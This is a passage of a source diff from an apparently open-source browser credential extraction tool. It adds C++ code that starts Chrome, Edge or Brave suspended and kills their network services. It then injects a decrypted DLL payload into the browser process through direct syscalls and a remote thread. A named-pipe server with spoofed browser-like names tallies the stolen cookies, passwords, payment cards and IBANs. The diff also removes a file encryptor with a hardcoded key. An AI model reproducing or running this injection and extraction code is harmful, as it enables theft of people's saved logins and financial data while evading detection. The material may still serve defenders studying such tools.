extractByte(SEED_4, 0), extractByte(SEED_4, 1), extractByte(SEED_4, 2), extractByte(SEED_4, 3),
|
||||
extractByte(SEED_4, 4), extractByte(SEED_4, 5), extractByte(SEED_4, 6), extractByte(SEED_4, 7)
|
||||
}};
|
||||
}
|
||||
|
||||
// Compile-time generated nonce (12 bytes from SEED_5 + half of SEED_6)
|
||||
constexpr std::array<uint8_t, 12> makeNonce() {
|
||||
return {{
|
||||
extractByte(SEED_5, 0), extractByte(SEED_5, 1), extractByte(SEED_5, 2), extractByte(SEED_5, 3),
|
||||
extractByte(SEED_5, 4), extractByte(SEED_5, 5), extractByte(SEED_5, 6), extractByte(SEED_5, 7),
|
||||
extractByte(SEED_6, 0), extractByte(SEED_6, 1), extractByte(SEED_6, 2), extractByte(SEED_6, 3)
|
||||
}};
|
||||
}
|
||||
|
||||
// The actual constexpr key material
|
||||
constexpr auto DERIVED_KEY = makeKey();
|
||||
constexpr auto DERIVED_NONCE = makeNonce();
|
||||
|
||||
} // namespace Detail
|
||||
|
||||
/**
|
||||
* RuntimeKeyProvider - Main interface for getting cryptographic keys
|
||||
*
|
||||
* Despite the name, keys are derived entirely at COMPILE TIME.
|
||||
* The "runtime" aspect is just copying from constexpr storage.
|
||||
*
|
||||
* Usage:
|
||||
* auto km = Crypto::RuntimeKeyProvider::GetPayloadKey();
|
||||
* // km.key - 32 bytes
|
||||
* // km.nonce - 12 bytes
|
||||
* // km.valid - always true (compile-time guarantees)
|
||||
*/
|
||||
class RuntimeKeyProvider {
|
||||
public:
|
||||
struct KeyMaterial {
|
||||
std::array<uint8_t, 32> key;
|
||||
std::array<uint8_t, 12> nonce;
|
||||
bool valid;
|
||||
};
|
||||
|
||||
static KeyMaterial GetPayloadKey() {
|
||||
KeyMaterial result = {};
|
||||
|
||||
// Copy from compile-time generated arrays
|
||||
std::memcpy(result.key.data(), Detail::DERIVED_KEY.data(), 32);
|
||||
std::memcpy(result.nonce.data(), Detail::DERIVED_NONCE.data(), 12);
|
||||
result.valid = true;
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// Alias for clarity in encryptor tool
|
||||
static KeyMaterial DeriveFromSeed() {
|
||||
return GetPayloadKey();
|
||||
}
|
||||
|
||||
// For debug output
|
||||
static uint64_t GetBuildSeed() {
|
||||
return Detail::BUILD_SEED;
|
||||
}
|
||||
};
|
||||
|
||||
}
|
||||
@@ -1,59 +0,0 @@
|
||||
// encryptor.cpp
|
||||
// v0.16.1 (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
// Define the implementation flag BEFORE including the header
|
||||
#define CHACHA20_IMPLEMENTATION
|
||||
#include "..\libs\chacha\chacha20.h"
|
||||
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <vector>
|
||||
#include <cstdint>
|
||||
|
||||
// A 256-bit (32-byte) key.
|
||||
static const uint8_t aKey[32] = {
|
||||
0x1B, 0x27, 0x55, 0x64, 0x73, 0x8B, 0x9F, 0x4D,
|
||||
0x58, 0x4A, 0x7D, 0x67, 0x8C, 0x79, 0x77, 0x46,
|
||||
0xBE, 0x6B, 0x4E, 0x0C, 0x54, 0x57, 0xCD, 0x95,
|
||||
0x18, 0xDE, 0x7E, 0x21, 0x47, 0x66, 0x7C, 0x94};
|
||||
|
||||
// A 96-bit (12-byte) nonce.
|
||||
static const uint8_t aNonce[12] = {
|
||||
0x4A, 0x51, 0x78, 0x62, 0x8D, 0x2D, 0x4A, 0x54,
|
||||
0x88, 0xE5, 0x3C, 0x50};
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
if (argc != 3)
|
||||
{
|
||||
std::cerr << "Usage: " << argv[0] << " <input_file> <output_file>" << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::ifstream inFile(argv[1], std::ios::binary);
|
||||
if (!inFile)
|
||||
{
|
||||
std::cerr << "Error opening input file: " << argv[1] << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::vector<uint8_t> buffer((std::istreambuf_iterator<char>(inFile)), std::istreambuf_iterator<char>());
|
||||
inFile.close();
|
||||
|
||||
// Encrypt the buffer in-place using our new function
|
||||
chacha20_xor(aKey, aNonce, buffer.data(), buffer.size(), 0);
|
||||
|
||||
std::ofstream outFile(argv[2], std::ios::binary);
|
||||
if (!outFile)
|
||||
{
|
||||
std::cerr << "Error opening output file: " << argv[2] << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
outFile.write(reinterpret_cast<const char *>(buffer.data()), buffer.size());
|
||||
outFile.close();
|
||||
|
||||
std::cout << "Successfully ChaCha20-encrypted " << argv[1] << " to " << argv[2] << std::endl;
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,118 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#include "browser_discovery.hpp"
|
||||
#include "../sys/internal_api.hpp"
|
||||
#include <algorithm>
|
||||
#include <map>
|
||||
|
||||
namespace Injector {
|
||||
|
||||
namespace {
|
||||
const std::map<std::wstring, std::pair<std::wstring, std::string>> g_browserMap = {
|
||||
{L"chrome", {L"chrome.exe", "Chrome"}},
|
||||
{L"edge", {L"msedge.exe", "Edge"}},
|
||||
{L"brave", {L"brave.exe", "Brave"}}
|
||||
};
|
||||
}
|
||||
|
||||
std::vector<BrowserInfo> BrowserDiscovery::FindAll() {
|
||||
std::vector<BrowserInfo> results;
|
||||
for (const auto& [type, info] : g_browserMap) {
|
||||
auto path = ResolvePath(info.first);
|
||||
if (!path.empty()) {
|
||||
results.push_back({type, info.first, path, info.second});
|
||||
}
|
||||
}
|
||||
return results;
|
||||
}
|
||||
|
||||
std::optional<BrowserInfo> BrowserDiscovery::FindSpecific(const std::wstring& type) {
|
||||
std::wstring lowerType = type;
|
||||
std::transform(lowerType.begin(), lowerType.end(), lowerType.begin(), ::towlower);
|
||||
|
||||
auto it = g_browserMap.find(lowerType);
|
||||
if (it == g_browserMap.end()) return std::nullopt;
|
||||
|
||||
auto path = ResolvePath(it->second.first);
|
||||
if (path.empty()) return std::nullopt;
|
||||
|
||||
return BrowserInfo{lowerType, it->second.first, path, it->second.second};
|
||||
}
|
||||
|
||||
std::wstring BrowserDiscovery::ResolvePath(const std::wstring& exeName) {
|
||||
const std::wstring registryPaths[] = {
|
||||
L"\\Registry\\Machine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + exeName,
|
||||
L"\\Registry\\Machine\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + exeName
|
||||
};
|
||||
|
||||
for (const auto& regPath : registryPaths) {
|
||||
auto path = QueryRegistry(regPath);
|
||||
if (!path.empty() && std::filesystem::exists(path)) {
|
||||
return path;
|
||||
}
|
||||
}
|
||||
return L"";
|
||||
}
|
||||
|
||||
std::wstring BrowserDiscovery::QueryRegistry(const std::wstring& keyPath) {
|
||||
std::vector<wchar_t> pathBuffer(keyPath.begin(), keyPath.end());
|
||||
pathBuffer.push_back(L'\0');
|
||||
|
||||
UNICODE_STRING_SYSCALLS keyName;
|
||||
keyName.Buffer = pathBuffer.data();
|
||||
keyName.Length = static_cast<USHORT>(keyPath.length() * sizeof(wchar_t));
|
||||
keyName.MaximumLength = static_cast<USHORT>(pathBuffer.size() * sizeof(wchar_t));
|
||||
|
||||
OBJECT_ATTRIBUTES objAttr;
|
||||
InitializeObjectAttributes(&objAttr, &keyName, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
|
||||
|
||||
HANDLE hKey = nullptr;
|
||||
NTSTATUS status = NtOpenKey_syscall(&hKey, KEY_READ, &objAttr);
|
||||
|
||||
if (status != 0) return L""; // STATUS_SUCCESS is 0
|
||||
|
||||
Core::UniqueHandle keyGuard(hKey);
|
||||
|
||||
UNICODE_STRING_SYSCALLS valueName = {0, 0, nullptr};
|
||||
ULONG bufferSize = 4096;
|
||||
std::vector<BYTE> buffer(bufferSize);
|
||||
ULONG resultLength = 0;
|
||||
|
||||
status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation,
|
||||
buffer.data(), bufferSize, &resultLength);
|
||||
|
||||
if (status == STATUS_BUFFER_TOO_SMALL || status == STATUS_BUFFER_OVERFLOW) {
|
||||
buffer.resize(resultLength);
|
||||
bufferSize = resultLength;
|
||||
status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation,
|
||||
buffer.data(), bufferSize, &resultLength);
|
||||
}
|
||||
|
||||
if (status != 0) return L"";
|
||||
|
||||
auto kvpi = reinterpret_cast<PKEY_VALUE_PARTIAL_INFORMATION>(buffer.data());
|
||||
|
||||
// REG_SZ = 1, REG_EXPAND_SZ = 2
|
||||
if (kvpi->Type != 1 && kvpi->Type != 2) return L"";
|
||||
if (kvpi->DataLength < sizeof(wchar_t) * 2) return L"";
|
||||
|
||||
size_t charCount = kvpi->DataLength / sizeof(wchar_t);
|
||||
std::wstring path(reinterpret_cast<wchar_t*>(kvpi->Data), charCount);
|
||||
|
||||
while (!path.empty() && path.back() == L'\0') path.pop_back();
|
||||
|
||||
if (path.empty()) return L"";
|
||||
|
||||
if (kvpi->Type == 2) { // REG_EXPAND_SZ
|
||||
std::vector<wchar_t> expanded(MAX_PATH * 2);
|
||||
DWORD size = ExpandEnvironmentStringsW(path.c_str(), expanded.data(), static_cast<DWORD>(expanded.size()));
|
||||
if (size > 0 && size <= expanded.size()) {
|
||||
path = std::wstring(expanded.data());
|
||||
}
|
||||
}
|
||||
|
||||
return path;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "../core/common.hpp"
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include <optional>
|
||||
|
||||
namespace Injector {
|
||||
|
||||
struct BrowserInfo {
|
||||
std::wstring type; // "chrome", "edge", "brave"
|
||||
std::wstring exeName; // "chrome.exe"
|
||||
std::wstring fullPath;
|
||||
std::string displayName;
|
||||
};
|
||||
|
||||
class BrowserDiscovery {
|
||||
public:
|
||||
static std::vector<BrowserInfo> FindAll();
|
||||
static std::optional<BrowserInfo> FindSpecific(const std::wstring& type);
|
||||
|
||||
private:
|
||||
static std::wstring ResolvePath(const std::wstring& exeName);
|
||||
static std::wstring QueryRegistry(const std::wstring& keyPath);
|
||||
};
|
||||
|
||||
}
|
||||
@@ -0,0 +1,136 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#include "injector.hpp"
|
||||
#include "../crypto/crypto.hpp"
|
||||
#include "../sys/internal_api.hpp"
|
||||
#include <iostream>
|
||||
#include <sstream>
|
||||
|
||||
namespace Injector {
|
||||
|
||||
PayloadInjector::PayloadInjector(ProcessManager& process, const Core::Console& console)
|
||||
: m_process(process), m_console(console) {}
|
||||
|
||||
void PayloadInjector::Inject(const std::wstring& pipeName) {
|
||||
m_console.Debug("Deriving runtime decryption keys...");
|
||||
LoadAndDecryptPayload();
|
||||
m_console.Debug(" [+] Payload decrypted (" + std::to_string(m_payload.size() / 1024) + " KB)");
|
||||
|
||||
DWORD offset = GetExportOffset("Bootstrap");
|
||||
if (offset == 0) {
|
||||
throw std::runtime_error("Could not find entry point in payload");
|
||||
}
|
||||
|
||||
std::stringstream ss;
|
||||
ss << " [+] Bootstrap entry point resolved (offset: 0x" << std::hex << offset << ")";
|
||||
m_console.Debug(ss.str());
|
||||
|
||||
PVOID remoteBase = nullptr;
|
||||
SIZE_T payloadSize = m_payload.size();
|
||||
SIZE_T pipeNameSize = (pipeName.length() + 1) * sizeof(wchar_t);
|
||||
SIZE_T totalSize = payloadSize + pipeNameSize;
|
||||
|
||||
m_console.Debug("Allocating memory in target process via syscall...");
|
||||
NTSTATUS status = NtAllocateVirtualMemory_syscall(m_process.GetProcessHandle(), &remoteBase, 0,
|
||||
&totalSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (status != 0) throw std::runtime_error("Allocation failed");
|
||||
|
||||
ss.str("");
|
||||
ss << " [+] Memory allocated at 0x" << std::hex << reinterpret_cast<uintptr_t>(remoteBase)
|
||||
<< " (" << std::dec << (totalSize / 1024) << " KB)";
|
||||
m_console.Debug(ss.str());
|
||||
|
||||
SIZE_T written = 0;
|
||||
status = NtWriteVirtualMemory_syscall(m_process.GetProcessHandle(), remoteBase,
|
||||
m_payload.data(), payloadSize, &written);
|
||||
if (status != 0) throw std::runtime_error("Write payload failed");
|
||||
|
||||
LPVOID remotePipeName = reinterpret_cast<uint8_t*>(remoteBase) + payloadSize;
|
||||
status = NtWriteVirtualMemory_syscall(m_process.GetProcessHandle(), remotePipeName,
|
||||
(PVOID)pipeName.c_str(), pipeNameSize, &written);
|
||||
if (status != 0) throw std::runtime_error("Write params failed");
|
||||
m_console.Debug(" [+] Payload + parameters written");
|
||||
|
||||
ULONG oldProtect = 0;
|
||||
status = NtProtectVirtualMemory_syscall(m_process.GetProcessHandle(), &remoteBase,
|
||||
&totalSize, PAGE_EXECUTE_READ, &oldProtect);
|
||||
if (status != 0) throw std::runtime_error("Protection change failed");
|
||||
m_console.Debug(" [+] Memory protection set to PAGE_EXECUTE_READ");
|
||||
|
||||
uintptr_t entry = reinterpret_cast<uintptr_t>(remoteBase) + offset;
|
||||
HANDLE hThread = nullptr;
|
||||
|
||||
m_console.Debug("Creating remote thread via syscall...");
|
||||
status = NtCreateThreadEx_syscall(&hThread, THREAD_ALL_ACCESS, nullptr, m_process.GetProcessHandle(),
|
||||
(LPTHREAD_START_ROUTINE)entry, remotePipeName, 0, 0, 0, 0, nullptr);
|
||||
|
||||
if (status != 0) throw std::runtime_error("Thread creation failed");
|
||||
|
||||
ss.str("");
|
||||
ss << " [+] Thread created (entry: 0x" << std::hex << entry << ")";
|
||||
m_console.Debug(ss.str());
|
||||
if (hThread) NtClose_syscall(hThread);
|
||||
}
|
||||
|
||||
void PayloadInjector::LoadAndDecryptPayload() {
|
||||
HMODULE hModule = GetModuleHandle(NULL);
|
||||
HRSRC hRes = FindResourceW(hModule, L"PAYLOAD_DLL", MAKEINTRESOURCEW(10));
|
||||
if (!hRes) throw std::runtime_error("Payload resource not found");
|
||||
|
||||
HGLOBAL hData = LoadResource(hModule, hRes);
|
||||
if (!hData) throw std::runtime_error("LoadResource failed");
|
||||
|
||||
void* pData = LockResource(hData);
|
||||
DWORD size = SizeofResource(hModule, hRes);
|
||||
if (!pData || size == 0) throw std::runtime_error("Invalid resource");
|
||||
|
||||
m_payload.assign((uint8_t*)pData, (uint8_t*)pData + size);
|
||||
|
||||
// Use runtime-derived keys (no static keys in binary)
|
||||
if (!Crypto::DecryptPayload(m_payload)) {
|
||||
throw std::runtime_error("Failed to derive decryption keys");
|
||||
}
|
||||
}
|
||||
|
||||
DWORD PayloadInjector::GetExportOffset(const char* exportName) {
|
||||
auto dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(m_payload.data());
|
||||
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return 0;
|
||||
|
||||
auto ntHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(m_payload.data() + dosHeader->e_lfanew);
|
||||
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return 0;
|
||||
|
||||
auto exportDirRva = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
if (exportDirRva == 0) return 0;
|
||||
|
||||
auto RvaToPtr = [&](DWORD rva) -> void* {
|
||||
auto section = IMAGE_FIRST_SECTION(ntHeaders);
|
||||
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i, ++section) {
|
||||
if (rva >= section->VirtualAddress && rva < section->VirtualAddress + section->Misc.VirtualSize) {
|
||||
return m_payload.data() + section->PointerToRawData + (rva - section->VirtualAddress);
|
||||
}
|
||||
}
|
||||
return nullptr;
|
||||
};
|
||||
|
||||
auto exportDir = (PIMAGE_EXPORT_DIRECTORY)RvaToPtr(exportDirRva);
|
||||
if (!exportDir) return 0;
|
||||
|
||||
auto names = (DWORD*)RvaToPtr(exportDir->AddressOfNames);
|
||||
auto ordinals = (WORD*)RvaToPtr(exportDir->AddressOfNameOrdinals);
|
||||
auto funcs = (DWORD*)RvaToPtr(exportDir->AddressOfFunctions);
|
||||
|
||||
if (!names || !ordinals || !funcs) return 0;
|
||||
|
||||
for (DWORD i = 0; i < exportDir->NumberOfNames; ++i) {
|
||||
char* name = (char*)RvaToPtr(names[i]);
|
||||
if (name && strcmp(name, exportName) == 0) {
|
||||
void* funcPtr = RvaToPtr(funcs[ordinals[i]]);
|
||||
if (!funcPtr) return 0;
|
||||
return (DWORD)((uintptr_t)funcPtr - (uintptr_t)m_payload.data());
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "../core/common.hpp"
|
||||
#include "../core/console.hpp"
|
||||
#include "process_manager.hpp"
|
||||
#include <vector>
|
||||
|
||||
namespace Injector {
|
||||
|
||||
class PayloadInjector {
|
||||
public:
|
||||
PayloadInjector(ProcessManager& process, const Core::Console& console);
|
||||
|
||||
void Inject(const std::wstring& pipeName);
|
||||
|
||||
private:
|
||||
void LoadAndDecryptPayload();
|
||||
DWORD GetExportOffset(const char* exportName);
|
||||
|
||||
ProcessManager& m_process;
|
||||
const Core::Console& m_console;
|
||||
std::vector<uint8_t> m_payload;
|
||||
};
|
||||
|
||||
}
|
||||
@@ -0,0 +1,128 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#include "../core/common.hpp"
|
||||
#include "../core/console.hpp"
|
||||
#include "../sys/internal_api.hpp"
|
||||
#include "browser_discovery.hpp"
|
||||
#include "process_manager.hpp"
|
||||
#include "pipe_server.hpp"
|
||||
#include "injector.hpp"
|
||||
#include <iostream>
|
||||
|
||||
using namespace Injector;
|
||||
|
||||
struct GlobalStats {
|
||||
int successful = 0;
|
||||
int failed = 0;
|
||||
};
|
||||
|
||||
void ProcessBrowser(const BrowserInfo& browser, bool verbose, bool fingerprint,
|
||||
const std::filesystem::path& output, const Core::Console& console, GlobalStats& stats) {
|
||||
|
||||
console.BrowserHeader(browser.displayName);
|
||||
|
||||
try {
|
||||
console.Debug("Terminating browser network services...");
|
||||
ProcessManager::KillNetworkServices(browser.exeName);
|
||||
console.Debug(" [+] Network services terminated");
|
||||
|
||||
console.Debug("Creating suspended process: " + Core::ToUtf8(browser.fullPath));
|
||||
ProcessManager procMgr(browser);
|
||||
procMgr.CreateSuspended();
|
||||
console.Debug(" [+] Process created (PID: " + std::to_string(procMgr.GetPid()) + ")");
|
||||
|
||||
PipeServer pipe(browser.type);
|
||||
pipe.Create();
|
||||
console.Debug(" [+] IPC pipe established: " + Core::ToUtf8(pipe.GetName()));
|
||||
|
||||
PayloadInjector injector(procMgr, console);
|
||||
injector.Inject(pipe.GetName());
|
||||
|
||||
console.Debug("Awaiting payload connection...");
|
||||
pipe.WaitForClient();
|
||||
console.Debug(" [+] Payload connected");
|
||||
|
||||
pipe.SendConfig(verbose, fingerprint, output);
|
||||
pipe.ProcessMessages(verbose);
|
||||
|
||||
auto pStats = pipe.GetStats();
|
||||
if (pStats.cookies > 0 || pStats.passwords > 0 || pStats.cards > 0 || pStats.ibans > 0) {
|
||||
console.Summary(pStats.cookies, pStats.passwords, pStats.cards, pStats.ibans,
|
||||
pStats.profiles, (output / browser.displayName).string());
|
||||
stats.successful++;
|
||||
} else {
|
||||
console.Warn("No data extracted");
|
||||
stats.failed++;
|
||||
}
|
||||
|
||||
procMgr.Terminate();
|
||||
|
||||
} catch (const std::exception& e) {
|
||||
console.Error(std::string(e.what()));
|
||||
stats.failed++;
|
||||
}
|
||||
}
|
||||
|
||||
int wmain(int argc, wchar_t* argv[]) {
|
||||
bool verbose = false;
|
||||
bool fingerprint = false;
|
||||
std::wstring targetType;
|
||||
std::filesystem::path output = std::filesystem::current_path() / "output";
|
||||
|
||||
Core::Console console(false);
|
||||
|
||||
for (int i = 1; i < argc; ++i) {
|
||||
std::wstring arg = argv[i];
|
||||
if (arg == L"--verbose" || arg == L"-v") verbose = true;
|
||||
else if (arg == L"--fingerprint" || arg == L"-f") fingerprint = true;
|
||||
else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc) output = argv[++i];
|
||||
else if (arg == L"--help" || arg == L"-h") {
|
||||
console.Banner();
|
||||
std::wcout << L"\n Usage: chromelevator.exe [options] <chrome|edge|brave|all>\n\n";
|
||||
std::wcout << L" Options:\n";
|
||||
std::wcout << L" -v, --verbose Show detailed output\n";
|
||||
std::wcout << L" -f, --fingerprint Extract browser fingerprint\n";
|
||||
std::wcout << L" -o, --output-path Custom output directory\n";
|
||||
return 0;
|
||||
}
|
||||
else if (targetType.empty() && arg[0] != L'-') targetType = arg;
|
||||
}
|
||||
|
||||
Core::Console mainConsole(verbose);
|
||||
mainConsole.Banner();
|
||||
|
||||
if (targetType.empty()) {
|
||||
mainConsole.Error("No target specified. Use: chrome, edge, brave, or all");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (!Sys::InitApi(verbose)) {
|
||||
mainConsole.Error("Syscall initialization failed");
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::filesystem::create_directories(output);
|
||||
|
||||
GlobalStats stats;
|
||||
|
||||
if (targetType == L"all") {
|
||||
auto browsers = BrowserDiscovery::FindAll();
|
||||
if (browsers.empty()) {
|
||||
mainConsole.Warn("No supported browsers found");
|
||||
return 0;
|
||||
}
|
||||
for (const auto& browser : browsers) {
|
||||
ProcessBrowser(browser, verbose, fingerprint, output, mainConsole, stats);
|
||||
}
|
||||
} else {
|
||||
auto browser = BrowserDiscovery::FindSpecific(targetType);
|
||||
if (!browser) {
|
||||
mainConsole.Error("Browser not found: " + Core::ToUtf8(targetType));
|
||||
return 1;
|
||||
}
|
||||
ProcessBrowser(*browser, verbose, fingerprint, output, mainConsole, stats);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,187 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#include "pipe_server.hpp"
|
||||
#include "../core/console.hpp"
|
||||
#include <iostream>
|
||||
#include <vector>
|
||||
#include <algorithm>
|
||||
#include <sstream>
|
||||
#include <regex>
|
||||
|
||||
namespace Injector {
|
||||
|
||||
PipeServer::PipeServer(const std::wstring& browserType)
|
||||
: m_pipeName(GenerateName(browserType)) {}
|
||||
|
||||
void PipeServer::Create() {
|
||||
m_hPipe.reset(CreateNamedPipeW(m_pipeName.c_str(), PIPE_ACCESS_DUPLEX,
|
||||
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
|
||||
1, 4096, 4096, 0, nullptr));
|
||||
|
||||
if (!m_hPipe) {
|
||||
throw std::runtime_error("CreateNamedPipeW failed: " + std::to_string(GetLastError()));
|
||||
}
|
||||
}
|
||||
|
||||
void PipeServer::WaitForClient() {
|
||||
if (!ConnectNamedPipe(m_hPipe.get(), nullptr) && GetLastError() != ERROR_PIPE_CONNECTED) {
|
||||
throw std::runtime_error("ConnectNamedPipe failed: " + std::to_string(GetLastError()));
|
||||
}
|
||||
}
|
||||
|
||||
void PipeServer::SendConfig(bool verbose, bool fingerprint, const std::filesystem::path& output) {
|
||||
Write(verbose ? "VERBOSE_TRUE" : "VERBOSE_FALSE");
|
||||
Sleep(10);
|
||||
Write(fingerprint ? "FINGERPRINT_TRUE" : "FINGERPRINT_FALSE");
|
||||
Sleep(10);
|
||||
Write(output.string());
|
||||
Sleep(10);
|
||||
}
|
||||
|
||||
void PipeServer::Write(const std::string& msg) {
|
||||
DWORD written = 0;
|
||||
if (!WriteFile(m_hPipe.get(), msg.c_str(), static_cast<DWORD>(msg.length() + 1), &written, nullptr)) {
|
||||
throw std::runtime_error("WriteFile failed");
|
||||
}
|
||||
}
|
||||
|
||||
void PipeServer::ProcessMessages(bool verbose) {
|
||||
const std::string completionSignal = "__DLL_PIPE_COMPLETION_SIGNAL__";
|
||||
std::string accumulated;
|
||||
char buffer[4096];
|
||||
bool completed = false;
|
||||
DWORD startTime = GetTickCount();
|
||||
|
||||
Core::Console console(verbose);
|
||||
|
||||
while (!completed && (GetTickCount() - startTime < Core::TIMEOUT_MS)) {
|
||||
DWORD available = 0;
|
||||
if (!PeekNamedPipe(m_hPipe.get(), nullptr, 0, nullptr, &available, nullptr)) {
|
||||
if (GetLastError() == ERROR_BROKEN_PIPE) break;
|
||||
break;
|
||||
}
|
||||
|
||||
if (available == 0) {
|
||||
Sleep(100);
|
||||
continue;
|
||||
}
|
||||
|
||||
DWORD read = 0;
|
||||
if (!ReadFile(m_hPipe.get(), buffer, sizeof(buffer) - 1, &read, nullptr) || read == 0) {
|
||||
if (GetLastError() == ERROR_BROKEN_PIPE) break;
|
||||
continue;
|
||||
}
|
||||
|
||||
accumulated.append(buffer, read);
|
||||
|
||||
size_t start = 0;
|
||||
size_t nullPos;
|
||||
while ((nullPos = accumulated.find('\0', start)) != std::string::npos) {
|
||||
std::string msg = accumulated.substr(start, nullPos - start);
|
||||
start = nullPos + 1;
|
||||
|
||||
if (msg == completionSignal) {
|
||||
completed = true;
|
||||
break;
|
||||
}
|
||||
|
||||
// Handle structured messages from payload
|
||||
if (msg.rfind("DEBUG:", 0) == 0) {
|
||||
console.Debug(msg.substr(6));
|
||||
}
|
||||
else if (msg.rfind("PROFILE:", 0) == 0) {
|
||||
console.ProfileHeader(msg.substr(8));
|
||||
m_stats.profiles++;
|
||||
}
|
||||
else if (msg.rfind("KEY:", 0) == 0) {
|
||||
console.KeyDecrypted(msg.substr(4));
|
||||
}
|
||||
else if (msg.rfind("COOKIES:", 0) == 0) {
|
||||
// Format: COOKIES:count:total
|
||||
size_t sep = msg.find(':', 8);
|
||||
if (sep != std::string::npos) {
|
||||
int count = std::stoi(msg.substr(8, sep - 8));
|
||||
int total = std::stoi(msg.substr(sep + 1));
|
||||
m_stats.cookies += count;
|
||||
m_stats.cookiesTotal += total;
|
||||
console.ExtractionResult("Cookies", count, total);
|
||||
}
|
||||
}
|
||||
else if (msg.rfind("PASSWORDS:", 0) == 0) {
|
||||
int count = std::stoi(msg.substr(10));
|
||||
m_stats.passwords += count;
|
||||
console.ExtractionResult("Passwords", count);
|
||||
}
|
||||
else if (msg.rfind("CARDS:", 0) == 0) {
|
||||
int count = std::stoi(msg.substr(6));
|
||||
m_stats.cards += count;
|
||||
console.ExtractionResult("Cards", count);
|
||||
}
|
||||
else if (msg.rfind("IBANS:", 0) == 0) {
|
||||
int count = std::stoi(msg.substr(6));
|
||||
m_stats.ibans += count;
|
||||
console.ExtractionResult("IBANs", count);
|
||||
}
|
||||
else if (msg.rfind("DATA:", 0) == 0) {
|
||||
std::string data = msg.substr(5);
|
||||
size_t sep = data.find('|');
|
||||
if (sep != std::string::npos) {
|
||||
console.DataRow(data.substr(0, sep), data.substr(sep + 1));
|
||||
}
|
||||
}
|
||||
else if (msg.rfind("[-]", 0) == 0) {
|
||||
console.Error(msg.substr(4));
|
||||
}
|
||||
else if (msg.rfind("[!]", 0) == 0) {
|
||||
console.Warn(msg.substr(4));
|
||||
}
|
||||
else {
|
||||
// Fallback for any unstructured messages (verbose only)
|
||||
if (verbose && !msg.empty()) {
|
||||
console.Debug(msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
accumulated.erase(0, start);
|
||||
}
|
||||
}
|
||||
|
||||
std::wstring PipeServer::GenerateName(const std::wstring& browserType) {
|
||||
DWORD pid = GetCurrentProcessId();
|
||||
DWORD tid = GetCurrentThreadId();
|
||||
DWORD tick = GetTickCount();
|
||||
|
||||
DWORD id1 = (pid ^ tick) & 0xFFFF;
|
||||
DWORD id2 = (tid ^ (tick >> 16)) & 0xFFFF;
|
||||
DWORD id3 = ((pid << 8) ^ tid) & 0xFFFF;
|
||||
|
||||
std::wstring pipeName = L"\\\\.\\pipe\\";
|
||||
std::wstring lower = browserType;
|
||||
std::transform(lower.begin(), lower.end(), lower.begin(), ::towlower);
|
||||
|
||||
wchar_t buffer[128];
|
||||
|
||||
if (lower == L"chrome") {
|
||||
static const wchar_t* patterns[] = {
|
||||
L"chrome.sync.%u.%u.%04X",
|
||||
L"chrome.nacl.%u_%04X",
|
||||
L"mojo.%u.%u.%04X.chrome"
|
||||
};
|
||||
swprintf_s(buffer, patterns[(id1 + id2) % 3], id1, id2, id3);
|
||||
} else if (lower == L"edge") {
|
||||
static const wchar_t* patterns[] = {
|
||||
L"msedge.sync.%u.%u",
|
||||
L"msedge.crashpad_%u_%04X",
|
||||
L"LOCAL\\msedge_%u"
|
||||
};
|
||||
swprintf_s(buffer, patterns[(id2 + id3) % 3], id1, id2);
|
||||
} else {
|
||||
swprintf_s(buffer, L"chromium.ipc.%u.%u", id1, id2);
|
||||
}
|
||||
|
||||
pipeName += buffer;
|
||||
return pipeName;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#pragma once
|
